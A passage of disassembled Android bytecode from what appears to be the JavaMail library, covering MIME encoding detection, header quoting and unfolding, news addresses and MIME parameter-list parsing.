00000038 invoke-virtual ContentType->match(String)Z, v0, v1
0000003E move-result v0
00000040 if-eqz v0, :7C
:44
00000044 new-instance v0, AsciiOutputStream
00000048 invoke-direct AsciiOutputStream-><init>(Z, Z)V, v0, v2, v2
:4E
0000004E invoke-virtual DataHandler->writeTo(OutputStream)V, p0, v0
:54
00000054 invoke-virtual AsciiOutputStream->getAscii()I, v0
0000005A move-result v0
0000005C packed-switch v0, :B0
:62
00000062 const-string v0, "base64"
00000066 goto :20
:68
00000068 move-exception v0
0000006A const-string v0, "base64"
0000006E goto :20
:70
00000070 const-string v0, "7bit"
00000074 goto :20
:76
00000076 const-string v0, "quoted-printable"
0000007A goto :20
:7C
0000007C new-instance v0, AsciiOutputStream
00000080 sget-boolean v1, MimeUtility->encodeEolStrict:Z
00000084 invoke-direct AsciiOutputStream-><init>(Z, Z)V, v0, v3, v1
:8A
0000008A invoke-virtual DataHandler->writeTo(OutputStream)V, p0, v0
:90
00000090 invoke-virtual AsciiOutputStream->getAscii()I, v0
00000096 move-result v0
00000098 if-ne v0, v3, :A2
:9C
0000009C const-string v0, "7bit"
000000A0 goto :20
:A2
000000A2 const-string v0, "base64"
000000A6 goto :20
:A8
000000A8 move-exception v1
000000AA goto :54
:AC
000000AC move-exception v1
000000AE goto :90
.catch Exception {:22 .. :34} :68
.catch IOException {:4E .. :54} :A8
.catch IOException {:8A .. :90} :AC
000000B0 .packed-switch 0x1
:70
:76
.end packed-switch
.end method
.method public static getEncoding(DataSource)String
.registers 4
00000000 new-instance v0, ContentType
00000004 invoke-interface DataSource->getContentType()String, p0
0000000A move-result-object v1
0000000C invoke-direct ContentType-><init>(String)V, v0, v1
00000012 invoke-interface DataSource->getInputStream()InputStream, p0
:18
00000018 move-result-object v1
0000001A const-string v2, "text/*"
0000001E invoke-virtual ContentType->match(String)Z, v0, v2
00000024 move-result v0
00000026 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000028 if-eqz v0, :50
:2C
0000002C const/4 v0, 0x0
:2E
0000002E invoke-static MimeUtility->checkAscii(InputStream, I, Z)I, v1, v2, v0
00000034 move-result v0
00000036 packed-switch v0, :64
:3C
0000003C const-string v0, "base64"
:40
00000040 invoke-virtual InputStream->close()V, v1
:46
00000046 return-object v0
:48
00000048 move-exception v0
0000004A const-string v0, "base64"
0000004E goto :46
:50
00000050 const/4 v0, 0x1
00000052 goto :2E
:54
00000054 const-string v0, "7bit"
00000058 goto :40
:5A
0000005A const-string v0, "quoted-printable"
0000005E goto :40
:60
00000060 move-exception v1
00000062 goto :46
.catch Exception {:0 .. :18} :48
.catch IOException {:40 .. :46} :60
00000064 .packed-switch 0x1
:54
:5A
.end packed-switch
.end method
.method private static indexOfAny(String, String)I
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-static MimeUtility->indexOfAny(String, String, I)I, p0, p1, v0
00000008 move-result v0
0000000A return v0
.end method
.method private static indexOfAny(String, String, I)I
.registers 7
00000000 const/4 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002 invoke-virtual String->length()I, p0
00000008 move-result v2
0000000A move v0, p2
:C
0000000C if-lt v0, v2, :14
:10
00000010 move v0, v1
:12
00000012 return v0
:14
00000014 invoke-virtual String->charAt(I)C, p0, v0
0000001A move-result v3
0000001C invoke-virtual String->indexOf(I)I, p1, v3
:22
00000022 move-result v3
00000024 if-gez v3, :12
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :C
:2E
0000002E move-exception v0
00000030 move v0, v1
00000032 goto :12
.catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method
.method public static javaCharset(String)String
.registers 3
00000000 sget-object v0, MimeUtility->mime2java:Hashtable
00000004 if-eqz v0, :C
:8
00000008 if-nez p0, :E
:C
0000000C return-object p0
:E
0000000E sget-object v0, MimeUtility->mime2java:Hashtable
00000012 sget-object v1, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p0, v1
0000001C move-result-object v1
0000001E invoke-virtual Hashtable->get(Object)Object, v0, v1
00000024 move-result-object v0
00000026 check-cast v0, String
0000002A if-eqz v0, :C
:2E
0000002E move-object p0, v0
00000030 goto :C
.end method
.method private static loadMappings(LineInputStream, Hashtable)V
.registers 5
00000000 invoke-virtual LineInputStream->readLine()String, p0
00000006 move-result-object v0
00000008 if-nez v0, :E
:C
0000000C return-void
:E
0000000E const-string v1, "--"
00000012 invoke-virtual String->startsWith(String)Z, v0, v1
00000018 move-result v1
0000001A if-eqz v1, :2E
:1E
0000001E const-string v1, "--"
00000022 invoke-virtual String->endsWith(String)Z, v0, v1
00000028 move-result v1
0000002A if-nez v1, :C
:2E
0000002E invoke-virtual String->trim()String, v0
00000034 move-result-object v1
00000036 invoke-virtual String->length()I, v1
0000003C move-result v1
0000003E if-eqz v1, :0
:42
00000042 const-string v1, "#"
00000046 invoke-virtual String->startsWith(String)Z, v0, v1
0000004C move-result v1
0000004E if-nez v1, :0
:52
00000052 new-instance v1, StringTokenizer
00000056 const-string v2, " \t"
0000005A invoke-direct StringTokenizer-><init>(String, String)V, v1, v0, v2
:60
00000060 invoke-virtual StringTokenizer->nextToken()String, v1
00000066 move-result-object v0
00000068 invoke-virtual StringTokenizer->nextToken()String, v1
0000006E move-result-object v1
00000070 sget-object v2, Locale->ENGLISH:Locale
00000074 invoke-virtual String->toLowerCase(Locale)String, v0, v2
0000007A move-result-object v0
0000007C invoke-virtual Hashtable->put(Object, Object)Object, p1, v0, v1
:82
00000082 goto :0
:84
00000084 move-exception v0
00000086 goto :0
:88
00000088 move-exception v0
0000008A goto :C
.catch IOException {:0 .. :6} :88
.catch NoSuchElementException {:60 .. :82} :84
.end method
.method public static mimeCharset(String)String
.registers 3
00000000 sget-object v0, MimeUtility->java2mime:Hashtable
00000004 if-eqz v0, :C
:8
00000008 if-nez p0, :E
:C
0000000C return-object p0
:E
0000000E sget-object v0, MimeUtility->java2mime:Hashtable
00000012 sget-object v1, Locale->ENGLISH:Locale
00000016 invoke-virtual String->toLowerCase(Locale)String, p0, v1
0000001C move-result-object v1
0000001E invoke-virtual Hashtable->get(Object)Object, v0, v1
00000024 move-result-object v0
00000026 check-cast v0, String
0000002A if-eqz v0, :C
:2E
0000002E move-object p0, v0
00000030 goto :C
.end method
.method static final nonascii(I)Z
.registers 2
00000000 const/16 v0, 0x7F
00000004 if-ge p0, v0, :2C
:8
00000008 const/16 v0, 0x20
0000000C if-ge p0, v0, :28
:10
00000010 const/16 v0, 0xD
00000014 if-eq p0, v0, :28
:18
00000018 const/16 v0, 0xA
0000001C if-eq p0, v0, :28
:20
00000020 const/16 v0, 0x9
00000024 if-ne p0, v0, :2C
:28
00000028 const/4 v0, 0x0
:2A
0000002A return v0
:2C
0000002C const/4 v0, 0x1
0000002E goto :2A
.end method
.method public static quote(String, String)String
.registers 12
00000000 const/16 v9, 0x5C
00000004 const/16 v8, 0xD
00000008 const/16 v7, 0xA
0000000C const/4 v2, 0x0
0000000E const/16 v6, 0x22
00000012 invoke-virtual String->length()I, p0
00000018 move-result v3
0000001A move v1, v2
0000001C move v0, v2
:1E
0000001E if-lt v1, v3, :54
:22
00000022 if-eqz v0, :52
:26
00000026 new-instance v0, StringBuffer
0000002A add-int/lit8 v1, v3, 0x2
0000002E invoke-direct StringBuffer-><init>(I)V, v0, v1
00000034 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v6
0000003A move-result-object v1
0000003C invoke-virtual StringBuffer->append(String)StringBuffer, v1, p0
00000042 move-result-object v1
00000044 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v6
0000004A invoke-virtual StringBuffer->toString()String, v0
00000050 move-result-object p0
:52
00000052 return-object p0
:54
00000054 invoke-virtual String->charAt(I)C, p0, v1
0000005A move-result v4
0000005C if-eq v4, v6, :6C
:60
00000060 if-eq v4, v9, :6C
:64
00000064 if-eq v4, v8, :6C
:68
00000068 if-ne v4, v7, :DC
:6C
0000006C new-instance v4, StringBuffer
00000070 add-int/lit8 v0, v3, 0x3
00000074 invoke-direct StringBuffer-><init>(I)V, v4, v0
0000007A invoke-virtual StringBuffer->append(C)StringBuffer, v4, v6
00000080 invoke-virtual String->substring(I, I)String, p0, v2, v1
00000086 move-result-object v0
00000088 invoke-virtual StringBuffer->append(String)StringBuffer, v4, v0
0000008E move v0, v1
00000090 move v1, v2
:92
00000092 if-lt v0, v3, :A6
:96
00000096 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v6
0000009C invoke-virtual StringBuffer->toString()String, v4
000000A2 move-result-object p0
000000A4 goto :52
:A6
000000A6 invoke-virtual String->charAt(I)C, p0, v0
000000AC move-result v2
000000AE if-eq v2, v6, :BE
:B2
000000B2 if-eq v2, v9, :BE
:B6
000000B6 if-eq v2, v8, :BE
:BA
000000BA if-ne v2, v7, :C6
:BE
000000BE if-ne v2, v7, :D4
:C2
000000C2 if-ne v1, v8, :D4
:C6
000000C6 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v2
000000CC add-int/lit8 v0, v0, 0x1
000000D0 move v1, v2
000000D2 goto :92
:D4
000000D4 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v9
000000DA goto :C6
:DC
000000DC const/16 v5, 0x20
000000E0 if-lt v4, v5, :F8
:E4
000000E4 const/16 v5, 0x7F
000000E8 if-ge v4, v5, :F8
:EC
000000EC invoke-virtual String->indexOf(I)I, p1, v4
000000F2 move-result v4
000000F4 if-ltz v4, :FA
:F8
000000F8 const/4 v0, 0x1
:FA
000000FA add-int/lit8 v1, v1, 0x1
000000FE goto :1E
.end method
.method public static unfold(String)String
.registers 10
00000000 const/16 v8, 0x9
00000004 const/16 v7, 0x20
00000008 const/4 v6, 0x0
0000000A sget-boolean v0, MimeUtility->foldText:Z
0000000E if-nez v0, :14
:12
00000012 return-object p0
:14
00000014 const/4 v0, 0x0
:16
00000016 const-string v1, "\r\n"
0000001A invoke-static MimeUtility->indexOfAny(String, String)I, p0, v1
00000020 move-result v2
00000022 if-gez v2, :3A
:26
00000026 if-eqz v0, :12
:2A
0000002A invoke-virtual StringBuffer->append(String)StringBuffer, v0, p0
00000030 invoke-virtual StringBuffer->toString()String, v0
00000036 move-result-object p0
00000038 goto :12
:3A
0000003A invoke-virtual String->length()I, p0
00000040 move-result v3
00000042 add-int/lit8 v1, v2, 0x1
00000046 if-ge v1, v3, :72
:4A
0000004A add-int/lit8 v4, v1, 0xFFFFFFFFFFFFFFFF
0000004E invoke-virtual String->charAt(I)C, p0, v4
00000054 move-result v4
00000056 const/16 v5, 0xD
0000005A if-ne v4, v5, :72
:5E
0000005E invoke-virtual String->charAt(I)C, p0, v1
00000064 move-result v4
00000066 const/16 v5, 0xA
0000006A if-ne v4, v5, :72
:6E
0000006E add-int/lit8 v1, v1, 0x1
:72
00000072 if-eqz v2, :8A
:76
00000076 add-int/lit8 v4, v2, 0xFFFFFFFFFFFFFFFF
0000007A invoke-virtual String->charAt(I)C, p0, v4
00000080 move-result v4
00000082 const/16 v5, 0x5C
00000086 if-eq v4, v5, :124
:8A
0000008A if-ge v1, v3, :F4
:8E
0000008E invoke-virtual String->charAt(I)C, p0, v1
00000094 move-result v4
00000096 if-eq v4, v7, :9E
:9A
0000009A if-ne v4, v8, :F4
:9E
0000009E add-int/lit8 v1, v1, 0x1
:A2
000000A2 if-ge v1, v3, :B6
:A6
000000A6 invoke-virtual String->charAt(I)C, p0, v1
000000AC move-result v4
000000AE if-eq v4, v7, :EE
:B2
000000B2 if-eq v4, v8, :EE
:B6
000000B6 if-nez v0, :CC
:BA
000000BA new-instance v0, StringBuffer
000000BE invoke-virtual String->length()I, p0
000000C4 move-result v3
000000C6 invoke-direct StringBuffer-><init>(I)V, v0, v3
:CC
000000CC if-eqz v2, :E4
:D0
000000D0 invoke-virtual String->substring(I, I)String, p0, v6, v2
000000D6 move-result-object v2
000000D8 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v2
000000DE invoke-virtual StringBuffer->append(C)StringBuffer, v0, v7
:E4
000000E4 invoke-virtual String->substring(I)String, p0, v1
000000EA move-result-object p0
000000EC goto :16
:EE
000000EE add-int/lit8 v1, v1, 0x1
000000F2 goto :A2
:F4
000000F4 if-nez v0, :10A
:F8
000000F8 new-instance v0, StringBuffer
000000FC invoke-virtual String->length()I, p0
00000102 move-result v2
00000104 invoke-direct StringBuffer-><init>(I)V, v0, v2
:10A
0000010A invoke-virtual String->substring(I, I)String, p0, v6, v1
00000110 move-result-object v2
00000112 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v2
00000118 invoke-virtual String->substring(I)String, p0, v1
0000011E move-result-object p0
00000120 goto/16 :16
:124
00000124 if-nez v0, :13A
:128
00000128 new-instance v0, StringBuffer
0000012C invoke-virtual String->length()I, p0
00000132 move-result v3
00000134 invoke-direct StringBuffer-><init>(I)V, v0, v3
:13A
0000013A add-int/lit8 v3, v2, 0xFFFFFFFFFFFFFFFF
0000013E invoke-virtual String->substring(I, I)String, p0, v6, v3
00000144 move-result-object v3
00000146 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v3
0000014C invoke-virtual String->substring(I, I)String, p0, v2, v1
00000152 move-result-object v2
00000154 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v2
0000015A invoke-virtual String->substring(I)String, p0, v1
00000160 move-result-object p0
00000162 goto/16 :16
.end method
#--------------------------------------------------------------------------------
.class public NewsAddress
.super Address
.source ""
.field private static final serialVersionUID:J = 0xC5A91CA0E4341391L
.field protected host:String
.field protected newsgroup:String
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Address-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct NewsAddress-><init>(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct Address-><init>()V, p0
00000006 iput-object p1, p0, NewsAddress->newsgroup:String
0000000A iput-object p2, p0, NewsAddress->host:String
0000000E return-void
.end method
.method public static parse(String)[NewsAddress
.registers 5
00000000 new-instance v0, StringTokenizer
00000004 const-string v1, ","
00000008 invoke-direct StringTokenizer-><init>(String, String)V, v0, p0, v1
0000000E new-instance v1, Vector
00000012 invoke-direct Vector-><init>()V, v1
:18
00000018 invoke-virtual StringTokenizer->hasMoreTokens()Z, v0
0000001E move-result v2
00000020 if-nez v2, :3C
:24
00000024 invoke-virtual Vector->size()I, v1
0000002A move-result v0
0000002C new-array v2, v0, [NewsAddress
00000030 if-lez v0, :3A
:34
00000034 invoke-virtual Vector->copyInto([Object)V, v1, v2
:3A
0000003A return-object v2
:3C
0000003C invoke-virtual StringTokenizer->nextToken()String, v0
00000042 move-result-object v2
00000044 new-instance v3, NewsAddress
00000048 invoke-direct NewsAddress-><init>(String)V, v3, v2
0000004E invoke-virtual Vector->addElement(Object)V, v1, v3
00000054 goto :18
.end method
.method public static toString([Address)String
.registers 5
00000000 if-eqz p0, :A
:4
00000004 array-length v0, p0
00000006 if-nez v0, :E
:A
0000000A const/4 v0, 0x0
:C
0000000C return-object v0
:E
0000000E new-instance v2, StringBuffer
00000012 const/4 v0, 0x0
00000014 aget-object v0, p0, v0
00000018 check-cast v0, NewsAddress
0000001C invoke-virtual NewsAddress->toString()String, v0
00000022 move-result-object v0
00000024 invoke-direct StringBuffer-><init>(String)V, v2, v0
0000002A const/4 v0, 0x1
0000002C move v1, v0
:2E
0000002E array-length v0, p0
00000030 if-lt v1, v0, :3E
:34
00000034 invoke-virtual StringBuffer->toString()String, v2
0000003A move-result-object v0
0000003C goto :C
:3E
0000003E const-string v0, ","
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v2, v0
00000048 move-result-object v3
0000004A aget-object v0, p0, v1
0000004E check-cast v0, NewsAddress
00000052 invoke-virtual NewsAddress->toString()String, v0
00000058 move-result-object v0
0000005A invoke-virtual StringBuffer->append(String)StringBuffer, v3, v0
00000060 add-int/lit8 v0, v1, 0x1
00000064 move v1, v0
00000066 goto :2E
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 instance-of v1, p1, NewsAddress
00000006 if-nez v1, :C
:A
0000000A return v0
:C
0000000C check-cast p1, NewsAddress
00000010 iget-object v1, p0, NewsAddress->newsgroup:String
00000014 iget-object v2, p1, NewsAddress->newsgroup:String
00000018 invoke-virtual String->equals(Object)Z, v1, v2
0000001E move-result v1
00000020 if-eqz v1, :A
:24
00000024 iget-object v1, p0, NewsAddress->host:String
00000028 if-nez v1, :34
:2C
0000002C iget-object v1, p1, NewsAddress->host:String
00000030 if-eqz v1, :58
:34
00000034 iget-object v1, p0, NewsAddress->host:String
00000038 if-eqz v1, :A
:3C
0000003C iget-object v1, p1, NewsAddress->host:String
00000040 if-eqz v1, :A
:44
00000044 iget-object v1, p0, NewsAddress->host:String
00000048 iget-object v2, p1, NewsAddress->host:String
0000004C invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
00000052 move-result v1
00000054 if-eqz v1, :A
:58
00000058 const/4 v0, 0x1
0000005A goto :A
.end method
.method public getHost()String
.registers 2
00000000 iget-object v0, p0, NewsAddress->host:String
00000004 return-object v0
.end method
.method public getNewsgroup()String
.registers 2
00000000 iget-object v0, p0, NewsAddress->newsgroup:String
00000004 return-object v0
.end method
.method public getType()String
.registers 2
00000000 const-string v0, "news"
00000004 return-object v0
.end method
.method public hashCode()I
.registers 4
00000000 const/4 v0, 0x0
00000002 iget-object v1, p0, NewsAddress->newsgroup:String
00000006 if-eqz v1, :18
:A
0000000A iget-object v1, p0, NewsAddress->newsgroup:String
0000000E invoke-virtual String->hashCode()I, v1
00000014 move-result v1
00000016 add-int/2addr v0, v1
:18
00000018 iget-object v1, p0, NewsAddress->host:String
0000001C if-eqz v1, :3A
:20
00000020 iget-object v1, p0, NewsAddress->host:String
00000024 sget-object v2, Locale->ENGLISH:Locale
00000028 invoke-virtual String->toLowerCase(Locale)String, v1, v2
0000002E move-result-object v1
00000030 invoke-virtual String->hashCode()I, v1
00000036 move-result v1
00000038 add-int/2addr v0, v1
:3A
0000003A return v0
.end method
.method public setHost(String)V
.registers 2
00000000 iput-object p1, p0, NewsAddress->host:String
00000004 return-void
.end method
.method public setNewsgroup(String)V
.registers 2
00000000 iput-object p1, p0, NewsAddress->newsgroup:String
00000004 return-void
.end method
.method public toString()String
.registers 2
00000000 iget-object v0, p0, NewsAddress->newsgroup:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class ParameterList$MultiValue
.super ArrayList
.source ""
.field value:String
.method private constructor <init>()V
.registers 1
00000000 invoke-direct ArrayList-><init>()V, p0
00000006 return-void
.end method
.method synthetic constructor <init>(ParameterList$MultiValue)V
.registers 2
00000000 invoke-direct ParameterList$MultiValue-><init>()V, p0
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class ParameterList$ParamEnum
.super Object
.source ""
.implements Enumeration
.field private it:Iterator
.method constructor <init>(Iterator)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ParameterList$ParamEnum->it:Iterator
0000000A return-void
.end method
.method public hasMoreElements()Z
.registers 2
00000000 iget-object v0, p0, ParameterList$ParamEnum->it:Iterator
00000004 invoke-interface Iterator->hasNext()Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method public nextElement()Object
.registers 2
00000000 iget-object v0, p0, ParameterList$ParamEnum->it:Iterator
00000004 invoke-interface Iterator->next()Object, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class ParameterList$ToStringBuffer
.super Object
.source ""
.field private sb:StringBuffer
.field private used:I
.method public constructor <init>(I)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, StringBuffer
0000000A invoke-direct StringBuffer-><init>()V, v0
00000010 iput-object v0, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000014 iput p1, p0, ParameterList$ToStringBuffer->used:I
00000018 return-void
.end method
.method public addNV(String, String)V
.registers 7
00000000 const/16 v3, 0x4C
00000004 invoke-static ParameterList->access$0(String)String, p2
0000000A move-result-object v0
0000000C iget-object v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000010 const-string v2, "; "
00000014 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
0000001A iget v1, p0, ParameterList$ToStringBuffer->used:I
0000001E add-int/lit8 v1, v1, 0x2
00000022 iput v1, p0, ParameterList$ToStringBuffer->used:I
00000026 invoke-virtual String->length()I, p1
0000002C move-result v1
0000002E invoke-virtual String->length()I, v0
00000034 move-result v2
00000036 add-int/2addr v1, v2
00000038 add-int/lit8 v1, v1, 0x1
0000003C iget v2, p0, ParameterList$ToStringBuffer->used:I
00000040 add-int/2addr v1, v2
00000042 if-le v1, v3, :5C
:46
00000046 iget-object v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
0000004A const-string v2, "\r\n\t"
0000004E invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000054 const/16 v1, 0x8
00000058 iput v1, p0, ParameterList$ToStringBuffer->used:I
:5C
0000005C iget-object v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000060 invoke-virtual StringBuffer->append(String)StringBuffer, v1, p1
00000066 move-result-object v1
00000068 const/16 v2, 0x3D
0000006C invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000072 iget v1, p0, ParameterList$ToStringBuffer->used:I
00000076 invoke-virtual String->length()I, p1
0000007C move-result v2
0000007E add-int/lit8 v2, v2, 0x1
00000082 add-int/2addr v1, v2
00000084 iput v1, p0, ParameterList$ToStringBuffer->used:I
00000088 iget v1, p0, ParameterList$ToStringBuffer->used:I
0000008C invoke-virtual String->length()I, v0
00000092 move-result v2
00000094 add-int/2addr v1, v2
00000096 if-le v1, v3, :EE
:9A
0000009A iget v1, p0, ParameterList$ToStringBuffer->used:I
0000009E invoke-static MimeUtility->fold(I, String)String, v1, v0
000000A4 move-result-object v0
000000A6 iget-object v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
000000AA invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
000000B0 const/16 v1, 0xA
000000B4 invoke-virtual String->lastIndexOf(I)I, v0, v1
000000BA move-result v1
000000BC if-ltz v1, :DA
:C0
000000C0 iget v2, p0, ParameterList$ToStringBuffer->used:I
000000C4 invoke-virtual String->length()I, v0
000000CA move-result v0
000000CC sub-int/2addr v0, v1
000000CE add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
000000D2 add-int/2addr v0, v2
000000D4 iput v0, p0, ParameterList$ToStringBuffer->used:I
:D8
000000D8 return-void
:DA
000000DA iget v1, p0, ParameterList$ToStringBuffer->used:I
000000DE invoke-virtual String->length()I, v0
000000E4 move-result v0
000000E6 add-int/2addr v0, v1
000000E8 iput v0, p0, ParameterList$ToStringBuffer->used:I
000000EC goto :D8
:EE
000000EE iget-object v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
000000F2 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
000000F8 iget v1, p0, ParameterList$ToStringBuffer->used:I
000000FC invoke-virtual String->length()I, v0
00000102 move-result v0
00000104 add-int/2addr v0, v1
00000106 iput v0, p0, ParameterList$ToStringBuffer->used:I
0000010A goto :D8
.end method
.method public toString()String
.registers 2
00000000 iget-object v0, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000004 invoke-virtual StringBuffer->toString()String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class ParameterList$Value
.super Object
.source ""
.field charset:String
.field encodedValue:String
.field value:String
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method synthetic constructor <init>(ParameterList$Value)V
.registers 2
00000000 invoke-direct ParameterList$Value-><init>()V, p0
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public ParameterList
.super Object
.source ""
.field private static applehack:Z
.field private static decodeParameters:Z
.field private static decodeParametersStrict:Z
.field private static encodeParameters:Z
.field private static final hex:[C
.field private lastName:String
.field private list:Map
.field private multisegmentNames:Set
.field private slist:Map
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 sput-boolean v1, ParameterList->encodeParameters:Z
00000008 sput-boolean v1, ParameterList->decodeParameters:Z
0000000C sput-boolean v1, ParameterList->decodeParametersStrict:Z
00000010 sput-boolean v1, ParameterList->applehack:Z
:14
00000014 const-string v2, "mail.mime.encodeparameters"
00000018 invoke-static System->getProperty(String)String, v2
0000001E move-result-object v2
00000020 if-eqz v2, :BE
:24
00000024 const-string v3, "true"
00000028 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
0000002E move-result v2
00000030 if-eqz v2, :BE
:34
00000034 move v2, v0
:36
00000036 sput-boolean v2, ParameterList->encodeParameters:Z
0000003A const-string v2, "mail.mime.decodeparameters"
0000003E invoke-static System->getProperty(String)String, v2
00000044 move-result-object v2
00000046 if-eqz v2, :C2
:4A
0000004A const-string v3, "true"
0000004E invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000054 move-result v2
00000056 if-eqz v2, :C2
:5A
0000005A move v2, v0
:5C
0000005C sput-boolean v2, ParameterList->decodeParameters:Z
00000060 const-string v2, "mail.mime.decodeparameters.strict"
00000064 invoke-static System->getProperty(String)String, v2
0000006A move-result-object v2
0000006C if-eqz v2, :C6
:70
00000070 const-string v3, "true"
00000074 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
0000007A move-result v2
0000007C if-eqz v2, :C6
:80
00000080 move v2, v0
:82
00000082 sput-boolean v2, ParameterList->decodeParametersStrict:Z
00000086 const-string v2, "mail.mime.applefilenames"
0000008A invoke-static System->getProperty(String)String, v2
00000090 move-result-object v2
00000092 if-eqz v2, :CA
:96
00000096 const-string v3, "true"
0000009A invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
000000A0 move-result v2
000000A2 if-eqz v2, :CA
:A6
000000A6 sput-boolean v0, ParameterList->applehack:Z
:AA
000000AA const/16 v0, 0x10
000000AE new-array v0, v0, [C
000000B2 fill-array-data v0, :D4
000000B8 sput-object v0, ParameterList->hex:[C
000000BC return-void
:BE
000000BE move v2, v1
000000C0 goto :36
:C2
000000C2 move v2, v1
000000C4 goto :5C
:C6
000000C6 move v2, v1
000000C8 goto :82
:CA
000000CA move v0, v1
000000CC goto :A6
:CE
000000CE move-exception v0
000000D0 goto :AA
.catch SecurityException {:14 .. :AA} :CE
000000D4 .array-data 2 x 0x10
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x41
0x42
0x43
0x44
0x45
0x46
.end array-data
.end method
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, LinkedHashMap
0000000A invoke-direct LinkedHashMap-><init>()V, v0
00000010 iput-object v0, p0, ParameterList->list:Map
00000014 const/4 v0, 0x0
00000016 iput-object v0, p0, ParameterList->lastName:String
0000001A sget-boolean v0, ParameterList->decodeParameters:Z
0000001E if-eqz v0, :3E
:22
00000022 new-instance v0, HashSet
00000026 invoke-direct HashSet-><init>()V, v0
0000002C iput-object v0, p0, ParameterList->multisegmentNames:Set
00000030 new-instance v0, HashMap
00000034 invoke-direct HashMap-><init>()V, v0
0000003A iput-object v0, p0, ParameterList->slist:Map
:3E
0000003E return-void
.end method
.method public constructor <init>(String)V
.registers 9
00000000 const/4 v6, 0xFFFFFFFFFFFFFFFC
00000002 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000004 invoke-direct ParameterList-><init>()V, p0
0000000A new-instance v1, HeaderTokenizer
0000000E const-string v0, "()<>@,;:\\\"\t []/?="
00000012 invoke-direct HeaderTokenizer-><init>(String, String)V, v1, p1, v0
:18
00000018 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v1
0000001E move-result-object v2
00000020 invoke-virtual HeaderTokenizer$Token->getType()I, v2
00000026 move-result v0
00000028 if-ne v0, v6, :3E
:2C
0000002C sget-boolean v0, ParameterList->decodeParameters:Z
00000030 if-eqz v0, :3C
:34
00000034 const/4 v0, 0x0
00000036 invoke-direct ParameterList->combineMultisegmentNames(Z)V, p0, v0
:3C
0000003C return-void
:3E
0000003E int-to-char v3, v0
00000040 const/16 v4, 0x3B
00000044 if-ne v3, v4, :196
:48
00000048 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v1
0000004E move-result-object v0
00000050 invoke-virtual HeaderTokenizer$Token->getType()I, v0
00000056 move-result v2
00000058 if-eq v2, v6, :2C
:5C
0000005C invoke-virtual HeaderTokenizer$Token->getType()I, v0
00000062 move-result v2
00000064 if-eq v2, v5, :A6
:68
00000068 new-instance v1, ParseException
0000006C new-instance v2, StringBuilder
00000070 const-string v3, "Expected parameter name, got \""
00000074 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000007A invoke-virtual HeaderTokenizer$Token->getValue()String, v0
00000080 move-result-object v0
00000082 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000088 move-result-object v0
0000008A const-string v2, "\""
0000008E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000094 move-result-object v0
00000096 invoke-virtual StringBuilder->toString()String, v0
0000009C move-result-object v0
0000009E invoke-direct ParseException-><init>(String)V, v1, v0
000000A4 throw v1
:A6
000000A6 invoke-virtual HeaderTokenizer$Token->getValue()String, v0
000000AC move-result-object v0
000000AE sget-object v2, Locale->ENGLISH:Locale
000000B2 invoke-virtual String->toLowerCase(Locale)String, v0, v2
000000B8 move-result-object v0
000000BA invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v1
000000C0 move-result-object v2
000000C2 invoke-virtual HeaderTokenizer$Token->getType()I, v2
